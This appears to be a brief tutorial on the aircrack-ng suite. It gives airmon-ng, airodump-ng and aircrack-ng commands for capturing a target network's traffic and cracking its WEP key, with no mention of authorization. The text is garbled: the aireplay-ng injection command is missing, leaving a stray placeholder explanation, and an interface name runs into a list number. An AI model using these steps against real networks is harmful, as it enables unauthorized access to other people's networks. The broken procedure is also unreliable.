iwconfigis used in Unix-based systems to manipulate the wireless configuration of a device. It's essentially the wireless version of ifconfig, which configures wired network interfaces.
airmon-ng: This tool is used to put your wireless network adapter into monitor mode, which is necessary for capturing raw network packets.aireplay-ng: This tool is used to inject packets into a wireless network, which can be useful for a number of tasks, such as facilitating the collection of enough data to crack a WEP key.aircrack-ng: This tool is used to actually crack WEP/WPA keys, given enough data.
Example of How to using all of this to crack password
First, you'd use airmon-ng to put your wireless adapter into monitor mode:
sudo airmon-ng start wlan01. This command would put your wireless adapter (assumed to be named wlan0) into monitor mode.Next, you'd use airodump-ng to identify the target network and to start capturing data:
airodump-ng wlan0monOnce you've identified the target network, you'd start capturing data from it specifically:
sudo airodump-ng -c [channel] --bssid [bssid] -w output wlan0mon
Here, [channel] should be replaced with the channel number of the target network, [bssid] should be replaced with the BSSID of the target network, and output is the filename prefix for the file where the captured data will be saved.
Then, you'd use aireplay-ng to generate additional traffic on the network:
[bssid] should be replaced with the BSSID of the target network.aircrack-ng to attempt to crack the WEP key:sudo aircrack-ng output*.cap